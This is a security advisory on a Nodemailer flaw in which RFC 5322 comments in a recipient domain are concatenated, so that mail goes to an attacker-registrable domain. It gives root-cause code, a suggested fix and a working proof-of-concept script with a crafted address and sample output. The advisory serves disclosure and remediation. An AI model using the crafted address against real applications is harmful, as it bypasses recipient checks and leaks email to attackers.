nodemailer
Affected
- introduced
6.9.16, fixed9.1.0(semver)
Fixed versions
9.1.0
Fix
- Fixed version
9.1.0npm install [email protected]
Advisory
Also known as: CVE-2026-92597
Nodemailer: Recipient-domain validation bypass via RFC 5322 comment mis-parsing leads to email delivery to an attacker-controlled domain
Summary
Nodemailer's email-address parser treats an RFC 5322 comment ( ... ) inside the domain as a point to concatenate the surrounding text, rather than as folding whitespace (CFWS) that terminates the domain. Consequently a recipient address such as [email protected](x)evil.com is parsed and delivered to `good-corp.comevil.com` (registrable domain comevil.com, attacker‑controlled), while a conformant RFC 5322 parser terminates the domain at the comment and reads good-corp.com.
An application that decides *whether it is allowed to email a recipient* by parsing/validating the recipient's domain — with a strict RFC 5322 parser (used without inspecting parse defects) or with a naive prefix/substring allow‑list — and then hands the raw address to Nodemailer for delivery, can be induced to send mail to a domain the attacker controls. This is an Interpretation Conflict (CWE‑436), the same class as CVE‑2025‑13033, reached through the RFC 5322 *comment* construct (the "Comments" technique in PortSwigger's *Splitting the email atom* research, which produced a Postfix fix).
Severity is Moderate: exploitation requires the app's domain check to disagree with Nodemailer (see Impact for exactly which parsers do and do not). Verified end‑to‑end against a real RFC 5321 SMTP server (nodemailer 9.0.6 → aiosmtpd).
Details
Root cause is in lib/addressparser/index.js.
Tokenizer.operators): '(': ')', // line ~331
) is immediately followed by a non‑break character (anything other than space / tab / CR / LF / , / ;), the tokenizer marks that operator token with noBreak = true: // Tokenizer.checkChar, lines ~398-399
if (nextChr && ![' ', '\t', '\r', '\n', ',', ';'].includes(nextChr)) {
this.node.noBreak = true;
}
_handleAddress then glues the token that follows the comment onto the token that preceded it (dropping the comment): // _handleAddress, lines ~187-188
if (prevToken && prevToken.noBreak && data[state].length) {
data[state][data[state].length - 1] += token.value; // <-- concatenation
}
For the input [email protected](x)evil.com the tokens are text:"[email protected]", op:"(", text:"x", op:")" (flagged noBreak), text:"evil.com". Step 3 appends evil.com onto [email protected], producing the single domain `good-corp.comevil.com`. The comment content (x) is discarded into the display‑name field.
RFC 5322 defines a comment as CFWS — semantically folding whitespace — and it may not appear inside a dot-atom. A comment therefore *separates* tokens and terminates the domain; the conformant reading of good-corp.com(x)evil.com is the domain good-corp.com (with the trailing evil.com being invalid/ignored). Nodemailer instead concatenates the two atoms across the removed comment, yielding a different, attacker‑registrable domain.
Nodemailer uses the parsed address for both the SMTP envelope (getEnvelope() → RCPT TO) and the emitted To:/From: headers, so the entire message is routed to the concatenated domain.
Related grammar defect (bonus, lower impact): nested comments are legal in RFC 5322, but the tokenizer closes the comment at the *first* ) (chr === this.operatorExpecting, line ~392), so a valid nested comment such as [email protected](a(b)c) is mis‑balanced and mangled to x.comc). That particular output contains a stray ) and is rejected by a conformant MTA (501) — a bounce/robustness issue, not a misroute.
Suggested fix: treat a comment as folding whitespace that terminates the current token — i.e. do not propagate noBreak across a comment‑closing ) (restrict the noBreak optimization to quoted‑string closes), and support nested comments per RFC 5322. Equivalently, never emit a domain formed by concatenating two atoms that were separated only by a comment.
PoC
Environment: Node.js ≥ 18 and the published [email protected]. No special transport configuration is required; the discrepancy is in address parsing.
poc-comment.js:
'use strict';
const net = require('net');
const nodemailer = require('nodemailer'); // 9.0.6
const TRUSTED = 'good-corp.com';
const RECIPIENT = '[email protected](x)evil.com'; // RFC 5322 comment (x) between two domains
// tiny SMTP sink that prints the literal RCPT TO nodemailer transmits
const server = net.createServer(sock => {
let buf = ''; sock.write('220 sink\r\n');
sock.on('data', d => { buf += d; let i;
while ((i = buf.indexOf('\r\n')) >= 0) { const line = buf.slice(0, i); buf = buf.slice(i + 2);
const u = line.toUpperCase();
if (u.startsWith('EHLO')) sock.write('250-sink\r\n250 8BITMIME\r\n');
else if (u.startsWith('RCPT')) { console.log('nodemailer transmits :', line); sock.write('250 ok\r\n'); }
else if (u.startsWith('DATA')) sock.write('354 go\r\n');
else if (line === '.') sock.write('250 ok\r\n');
else if (u.startsWith('QUIT')) { sock.write('221 bye\r\n'); sock.end(); }
else sock.write('250 ok\r\n'); } });
});
server.listen(0, '127.0.0.1', async () => {
const t = nodemailer.createTransport({ host: '127.0.0.1', port: server.address().port, secure: false });
await t.sendMail({ from: '[email protected]', to: RECIPIENT, subject: 'hi', text: 'x' });
t.close(); server.close();
});
Run:
npm init -y && npm install [email protected]
node poc-comment.js
Actual output (nodemailer 9.0.6):
nodemailer transmits : RCPT TO:<[email protected]>
The application asked to mail [email protected](x)evil.com; Nodemailer delivers to good-corp.comevil.com — registrable domain comevil.com, which an attacker can register.
Verified against a real RFC 5321 server (containerized lab included with this report — docker compose up --build, case R8_comment_glue, receiver = aiosmtpd):
wire RCPT TO : RCPT TO:<[email protected]>
real server : ACCEPTED (250)
recipient parsed by real server : [email protected] (domain good-corp.comevil.com)
delivered To header : x <[email protected]>
Which parser sees what (the crux of exploitability):
| Parser used by the application to gate/route | Domain it reads from [email protected](x)evil.com | Deceived? |
|---|---|---|
| Python email.policy.default (strict RFC 5322) | good-corp.com *(flags InvalidHeaderDefect)* | Yes, if defects are not checked |
| Naive prefix / substring allow‑list (startsWith/includes('@good-corp.com')) | good-corp.com | Yes |
| Nodemailer's own addressparser | good-corp.comevil.com | No |
| Python email.utils.getaddresses | good-corp.comevil.com | No |
| WHATWG url.domainToASCII | good-corp.com(x)evil.com | No |
Impact
@good-corp.com", employee‑only flows, "same‑tenant" routing). Applications that validate with Nodemailer's own addressparser, email.utils.getaddresses, or url.domainToASCII are not affected, which is why this is rated below the IDN/Punycode issue.Medium Basis: The source's own band: MODERATE
6.9.16, fixed 9.1.0 (semver)9.1.0
9.1.0npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0